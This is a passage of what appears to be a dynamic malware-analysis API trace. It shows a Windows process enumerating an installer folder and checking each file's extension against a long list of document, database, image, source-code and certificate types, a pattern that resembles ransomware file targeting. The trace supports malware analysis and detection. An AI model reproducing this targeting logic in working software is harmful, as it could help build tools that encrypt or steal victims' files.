[0079.246] lstrcmpiW (lpString1=".dsn", lpString2=".rtf") returned -1 [0079.246] lstrlenW (lpString=".dt") returned 3 [0079.246] lstrcmpiW (lpString1=".dt", lpString2="rtf") returned -1 [0079.246] lstrlenW (lpString=".dtd") returned 4 [0079.246] lstrcmpiW (lpString1=".dtd", lpString2=".rtf") returned -1 [0079.246] lstrlenW (lpString=".dwg") returned 4 [0079.246] lstrcmpiW (lpString1=".dwg", lpString2=".rtf") returned -1 [0079.246] lstrlenW (lpString=".dwt") returned 4 [0079.246] lstrcmpiW (lpString1=".dwt", lpString2=".rtf") returned -1 [0079.246] lstrlenW (lpString=".dx") returned 3 [0079.246] lstrcmpiW (lpString1=".dx", lpString2="rtf") returned -1 [0079.247] lstrlenW (lpString=".dxf") returned 4 [0079.247] lstrcmpiW (lpString1=".dxf", lpString2=".rtf") returned -1 [0079.247] lstrlenW (lpString=".edml") returned 5 [0079.247] lstrcmpiW (lpString1=".edml", lpString2="a.rtf") returned -1 [0079.247] lstrlenW (lpString=".efd") returned 4 [0079.247] lstrcmpiW (lpString1=".efd", lpString2=".rtf") returned -1 [0079.247] lstrlenW (lpString=".elf") returned 4 [0079.247] lstrcmpiW (lpString1=".elf", lpString2=".rtf") returned -1 [0079.247] lstrlenW (lpString=".emf") returned 4 [0079.247] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0079.247] lstrlenW (lpString=".emz") returned 4 [0079.247] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0079.247] lstrlenW (lpString=".epf") returned 4 [0079.247] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0079.247] lstrlenW (lpString=".eps") returned 4 [0079.248] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0079.248] lstrlenW (lpString=".epsf") returned 5 [0079.248] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0079.248] lstrlenW (lpString=".epsp") returned 5 [0079.248] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0079.248] lstrlenW (lpString=".erf") returned 4 [0079.248] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0079.248] lstrlenW (lpString=".exr") returned 4 [0079.248] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0079.248] lstrlenW (lpString=".f4v") returned 4 [0079.248] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0079.248] lstrlenW (lpString=".fido") returned 5 [0079.248] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0079.248] lstrlenW (lpString=".flm") returned 4 [0079.248] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0079.248] lstrlenW (lpString=".flv") returned 4 [0079.248] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0079.248] lstrlenW (lpString=".frm") returned 4 [0079.248] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0079.248] lstrlenW (lpString=".fxg") returned 4 [0079.248] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0079.248] lstrlenW (lpString=".geo") returned 4 [0079.248] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0079.248] lstrlenW (lpString=".gif") returned 4 [0079.248] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0079.248] lstrlenW (lpString=".grs") returned 4 [0079.248] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0079.248] lstrlenW (lpString=".gz") returned 3 [0079.248] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0079.248] lstrlenW (lpString=".h") returned 2 [0079.248] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0079.248] lstrlenW (lpString=".hdr") returned 4 [0079.248] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0079.248] lstrlenW (lpString=".hpp") returned 4 [0079.248] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0079.249] lstrlenW (lpString=".hta") returned 4 [0079.249] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0079.249] lstrlenW (lpString=".htc") returned 4 [0079.249] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0079.249] lstrlenW (lpString=".htm") returned 4 [0079.249] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0079.249] lstrlenW (lpString=".html") returned 5 [0079.249] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0079.249] lstrlenW (lpString=".icb") returned 4 [0079.249] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0079.249] lstrlenW (lpString=".ics") returned 4 [0079.249] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0079.249] lstrlenW (lpString=".iff") returned 4 [0079.249] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0079.249] lstrlenW (lpString=".inc") returned 4 [0079.249] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0079.249] lstrlenW (lpString=".indd") returned 5 [0079.249] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0079.249] lstrlenW (lpString=".ini") returned 4 [0079.249] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0079.249] lstrlenW (lpString=".iqy") returned 4 [0079.249] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0079.249] lstrlenW (lpString=".j2c") returned 4 [0079.249] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0079.249] lstrlenW (lpString=".j2k") returned 4 [0079.249] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0079.249] lstrlenW (lpString=".java") returned 5 [0079.249] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0079.249] lstrlenW (lpString=".jp2") returned 4 [0079.249] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0079.249] lstrlenW (lpString=".jpc") returned 4 [0079.249] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0079.249] lstrlenW (lpString=".jpe") returned 4 [0079.249] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0079.249] lstrlenW (lpString=".jpeg") returned 5 [0079.250] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0079.250] lstrlenW (lpString=".jpf") returned 4 [0079.250] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0079.250] lstrlenW (lpString=".jpg") returned 4 [0079.250] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0079.250] lstrlenW (lpString=".jpx") returned 4 [0079.250] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0079.250] lstrlenW (lpString=".js") returned 3 [0079.250] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0079.250] lstrlenW (lpString=".jsf") returned 4 [0079.250] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0079.250] lstrlenW (lpString=".json") returned 5 [0079.250] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0079.250] lstrlenW (lpString=".jsp") returned 4 [0079.250] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0079.250] lstrlenW (lpString=".kdc") returned 4 [0079.250] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0079.250] lstrlenW (lpString=".kmz") returned 4 [0079.250] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0079.250] lstrlenW (lpString=".kwm") returned 4 [0079.250] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0079.250] lstrlenW (lpString=".lasso") returned 6 [0079.250] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0079.250] lstrlenW (lpString=".lbi") returned 4 [0079.250] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0079.250] lstrlenW (lpString=".lgf") returned 4 [0079.250] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0079.250] lstrlenW (lpString=".lgp") returned 4 [0079.250] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0079.250] lstrlenW (lpString=".log") returned 4 [0079.250] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0079.250] lstrlenW (lpString=".m1v") returned 4 [0079.250] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0079.250] lstrlenW (lpString=".m4a") returned 4 [0079.251] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0079.251] lstrlenW (lpString=".m4v") returned 4 [0079.251] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0079.251] lstrlenW (lpString=".max") returned 4 [0079.251] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0079.251] lstrlenW (lpString=".md") returned 3 [0079.251] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0079.251] lstrlenW (lpString=".mda") returned 4 [0079.251] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0079.251] lstrlenW (lpString=".mdb") returned 4 [0079.251] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0079.251] lstrlenW (lpString=".mde") returned 4 [0079.251] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0079.251] lstrlenW (lpString=".mdf") returned 4 [0079.251] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0079.251] lstrlenW (lpString=".mdw") returned 4 [0079.251] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0079.251] lstrlenW (lpString=".mef") returned 4 [0079.251] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0079.251] lstrlenW (lpString=".mft") returned 4 [0079.251] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0079.251] lstrlenW (lpString=".mfw") returned 4 [0079.251] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0079.251] lstrlenW (lpString=".mht") returned 4 [0079.251] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0079.251] lstrlenW (lpString=".mhtml") returned 6 [0079.251] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0079.251] lstrlenW (lpString=".mka") returned 4 [0079.251] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0079.251] lstrlenW (lpString=".mkidx") returned 6 [0079.251] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0079.251] lstrlenW (lpString=".mkv") returned 4 [0079.251] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0079.251] lstrlenW (lpString=".mos") returned 4 [0079.251] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0079.252] lstrlenW (lpString=".mov") returned 4 [0079.252] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0079.252] lstrlenW (lpString=".mp3") returned 4 [0079.252] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0079.252] lstrlenW (lpString=".mp4") returned 4 [0079.252] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0079.252] lstrlenW (lpString=".mpeg") returned 5 [0079.252] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0079.252] lstrlenW (lpString=".mpg") returned 4 [0079.252] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0079.252] lstrlenW (lpString=".mpv") returned 4 [0079.252] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0079.252] lstrlenW (lpString=".mrw") returned 4 [0079.252] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0079.252] lstrlenW (lpString=".msg") returned 4 [0079.252] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0079.252] lstrlenW (lpString=".mxl") returned 4 [0079.252] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0079.252] lstrlenW (lpString=".myd") returned 4 [0079.252] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0079.252] lstrlenW (lpString=".myi") returned 4 [0079.252] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0079.252] lstrlenW (lpString=".nef") returned 4 [0079.252] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0079.252] lstrlenW (lpString=".nrw") returned 4 [0079.252] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0079.252] lstrlenW (lpString=".obj") returned 4 [0079.252] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0079.252] lstrlenW (lpString=".odb") returned 4 [0079.252] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0079.252] lstrlenW (lpString=".odc") returned 4 [0079.252] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0079.252] lstrlenW (lpString=".odm") returned 4 [0079.252] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0079.253] lstrlenW (lpString=".odp") returned 4 [0079.253] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0079.253] lstrlenW (lpString=".ods") returned 4 [0079.253] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0079.253] lstrlenW (lpString=".oft") returned 4 [0079.253] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0079.253] lstrlenW (lpString=".one") returned 4 [0079.253] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0079.253] lstrlenW (lpString=".onepkg") returned 7 [0079.253] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0079.253] lstrlenW (lpString=".onetoc2") returned 8 [0079.253] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0079.253] lstrlenW (lpString=".opt") returned 4 [0079.253] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0079.253] lstrlenW (lpString=".oqy") returned 4 [0079.253] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0079.253] lstrlenW (lpString=".orf") returned 4 [0079.253] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0079.253] lstrlenW (lpString=".p12") returned 4 [0079.253] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0079.253] lstrlenW (lpString=".p7b") returned 4 [0079.253] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0079.253] lstrlenW (lpString=".p7c") returned 4 [0079.253] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0079.253] lstrlenW (lpString=".pam") returned 4 [0079.253] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0079.253] lstrlenW (lpString=".pbm") returned 4 [0079.253] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0079.253] lstrlenW (lpString=".pct") returned 4 [0079.253] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0079.253] lstrlenW (lpString=".pcx") returned 4 [0079.253] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0079.253] lstrlenW (lpString=".pdd") returned 4 [0079.253] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0079.254] lstrlenW (lpString=".pdf") returned 4 [0079.254] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0079.254] lstrlenW (lpString=".pdp") returned 4 [0079.254] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0079.254] lstrlenW (lpString=".pef") returned 4 [0079.254] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0079.254] lstrlenW (lpString=".pem") returned 4 [0079.254] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0079.254] lstrlenW (lpString=".pff") returned 4 [0079.254] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0079.254] lstrlenW (lpString=".pfm") returned 4 [0079.254] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0079.254] lstrlenW (lpString=".pfx") returned 4 [0079.254] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0079.254] lstrlenW (lpString=".pgm") returned 4 [0079.254] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0079.254] lstrlenW (lpString=".php") returned 4 [0079.254] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0079.254] lstrlenW (lpString=".php3") returned 5 [0079.254] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0079.254] lstrlenW (lpString=".php4") returned 5 [0079.254] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0079.254] lstrlenW (lpString=".php5") returned 5 [0079.254] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0079.254] lstrlenW (lpString=".phtml") returned 6 [0079.254] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0079.254] lstrlenW (lpString=".pict") returned 5 [0079.254] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0079.254] lstrlenW (lpString=".pl") returned 3 [0079.254] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0079.254] lstrlenW (lpString=".pls") returned 4 [0079.254] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0079.254] lstrlenW (lpString=".pm") returned 3 [0079.254] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0079.255] lstrlenW (lpString=".png") returned 4 [0079.255] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0079.255] lstrlenW (lpString=".pnm") returned 4 [0079.255] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0079.255] lstrlenW (lpString=".pot") returned 4 [0079.255] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0079.255] lstrlenW (lpString=".potm") returned 5 [0079.255] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0079.255] lstrlenW (lpString=".potx") returned 5 [0079.255] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0079.255] lstrlenW (lpString=".ppa") returned 4 [0079.255] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0079.255] lstrlenW (lpString=".ppam") returned 5 [0079.255] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0079.255] lstrlenW (lpString=".ppm") returned 4 [0079.255] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0079.255] lstrlenW (lpString=".pps") returned 4 [0079.255] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0079.255] lstrlenW (lpString=".ppsm") returned 5 [0079.255] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0079.255] lstrlenW (lpString=".ppt") returned 4 [0079.255] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0079.255] lstrlenW (lpString=".pptm") returned 5 [0079.255] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0079.255] lstrlenW (lpString=".pptx") returned 5 [0079.255] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0079.255] lstrlenW (lpString=".prn") returned 4 [0079.255] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0079.255] lstrlenW (lpString=".ps") returned 3 [0079.255] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0079.255] lstrlenW (lpString=".psb") returned 4 [0079.255] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0079.255] lstrlenW (lpString=".psd") returned 4 [0079.256] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0079.256] lstrlenW (lpString=".pst") returned 4 [0079.256] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0079.256] lstrlenW (lpString=".ptx") returned 4 [0079.256] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0079.256] lstrlenW (lpString=".pub") returned 4 [0079.256] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0079.256] lstrlenW (lpString=".pwm") returned 4 [0079.256] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0079.256] lstrlenW (lpString=".pxr") returned 4 [0079.256] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0079.256] lstrlenW (lpString=".py") returned 3 [0079.256] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0079.256] lstrlenW (lpString=".qt") returned 3 [0079.256] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0079.256] FindNextFileW (in: hFindFile=0x459de0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0079.256] FindNextFileW (in: hFindFile=0x459de0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0079.256] FindNextFileW (in: hFindFile=0x459de0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0079.256] FindClose (in: hFindFile=0x459de0 | out: hFindFile=0x459de0) returned 1 [0079.257] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x35d0060 | out: hHeap=0x440000) returned 1 [0079.257] FindNextFileW (in: hFindFile=0x459d20, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1 [0079.257] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x35d0060 [0079.257] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028") returned 26 [0079.257] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x45a120 [0079.257] FindNextFileW (in: hFindFile=0x45a120, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.258] FindNextFileW (in: hFindFile=0x45a120, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0079.258] lstrlenW (lpString="eula.rtf") returned 8 [0079.258] lstrlenW (lpString=".1cd") returned 4 [0079.258] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0079.258] lstrlenW (lpString=".3ds") returned 4 [0079.258] lstrcmpiW (lpString1=".3ds", lpString2=".rtf") returned -1 [0079.258] lstrlenW (lpString=".3fr") returned 4 [0079.258] lstrcmpiW (lpString1=".3fr", lpString2=".rtf") returned -1 [0079.258] lstrlenW (lpString=".3g2") returned 4 [0079.258] lstrcmpiW (lpString1=".3g2", lpString2=".rtf") returned -1 [0079.258] lstrlenW (lpString=".3gp") returned 4 [0079.258] lstrcmpiW (lpString1=".3gp", lpString2=".rtf") returned -1 [0079.258] lstrlenW (lpString=".7z") returned 3 [0079.258] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0079.258] lstrlenW (lpString=".accda") returned 6 [0079.258] lstrcmpiW (lpString1=".accda", lpString2="la.rtf") returned -1 [0079.258] lstrlenW (lpString=".accdb") returned 6 [0079.258] lstrcmpiW (lpString1=".accdb", lpString2="la.rtf") returned -1 [0079.258] lstrlenW (lpString=".accdc") returned 6 [0079.258] lstrcmpiW (lpString1=".accdc", lpString2="la.rtf") returned -1 [0079.258] lstrlenW (lpString=".accde") returned 6 [0079.258] lstrcmpiW (lpString1=".accde", lpString2="la.rtf") returned -1 [0079.258] lstrlenW (lpString=".accdt") returned 6 [0079.258] lstrcmpiW (lpString1=".accdt", lpString2="la.rtf") returned -1 [0079.258] lstrlenW (lpString=".accdw") returned 6 [0079.258] lstrcmpiW (lpString1=".accdw", lpString2="la.rtf") returned -1 [0079.258] lstrlenW (lpString=".adb") returned 4 [0079.258] lstrcmpiW (lpString1=".adb", lpString2=".rtf") returned -1 [0079.258] lstrlenW (lpString=".adp") returned 4 [0079.259] lstrcmpiW (lpString1=".adp", lpString2=".rtf") returned -1 [0079.259] lstrlenW (lpString=".ai") returned 3 [0079.259] lstrcmpiW (lpString1=".ai", lpString2="rtf") returned -1 [0079.259] lstrlenW (lpString=".ai3") returned 4 [0079.259] lstrcmpiW (lpString1=".ai3", lpString2=".rtf") returned -1 [0079.259] lstrlenW (lpString=".ai4") returned 4 [0079.259] lstrcmpiW (lpString1=".ai4", lpString2=".rtf") returned -1 [0079.259] lstrlenW (lpString=".ai5") returned 4 [0079.259] lstrcmpiW (lpString1=".ai5", lpString2=".rtf") returned -1 [0079.259] lstrlenW (lpString=".ai6") returned 4 [0079.259] lstrcmpiW (lpString1=".ai6", lpString2=".rtf") returned -1 [0079.259] lstrlenW (lpString=".ai7") returned 4 [0079.259] lstrcmpiW (lpString1=".ai7", lpString2=".rtf") returned -1 [0079.259] lstrlenW (lpString=".ai8") returned 4 [0079.259] lstrcmpiW (lpString1=".ai8", lpString2=".rtf") returned -1 [0079.259] lstrlenW (lpString=".anim") returned 5 [0079.259] lstrcmpiW (lpString1=".anim", lpString2="a.rtf") returned -1 [0079.259] lstrlenW (lpString=".arw") returned 4 [0079.259] lstrcmpiW (lpString1=".arw", lpString2=".rtf") returned -1 [0079.259] lstrlenW (lpString=".as") returned 3 [0079.259] lstrcmpiW (lpString1=".as", lpString2="rtf") returned -1 [0079.259] lstrlenW (lpString=".asa") returned 4 [0079.259] lstrcmpiW (lpString1=".asa", lpString2=".rtf") returned -1 [0079.259] lstrlenW (lpString=".asc") returned 4 [0079.259] lstrcmpiW (lpString1=".asc", lpString2=".rtf") returned -1 [0079.259] lstrlenW (lpString=".ascx") returned 5 [0079.259] lstrcmpiW (lpString1=".ascx", lpString2="a.rtf") returned -1 [0079.259] lstrlenW (lpString=".asm") returned 4 [0079.259] lstrcmpiW (lpString1=".asm", lpString2=".rtf") returned -1 [0079.259] lstrlenW (lpString=".asmx") returned 5 [0079.259] lstrcmpiW (lpString1=".asmx", lpString2="a.rtf") returned -1 [0079.259] lstrlenW (lpString=".asp") returned 4 [0079.259] lstrcmpiW (lpString1=".asp", lpString2=".rtf") returned -1 [0079.260] lstrlenW (lpString=".aspx") returned 5 [0079.260] lstrcmpiW (lpString1=".aspx", lpString2="a.rtf") returned -1 [0079.260] lstrlenW (lpString=".asr") returned 4 [0079.260] lstrcmpiW (lpString1=".asr", 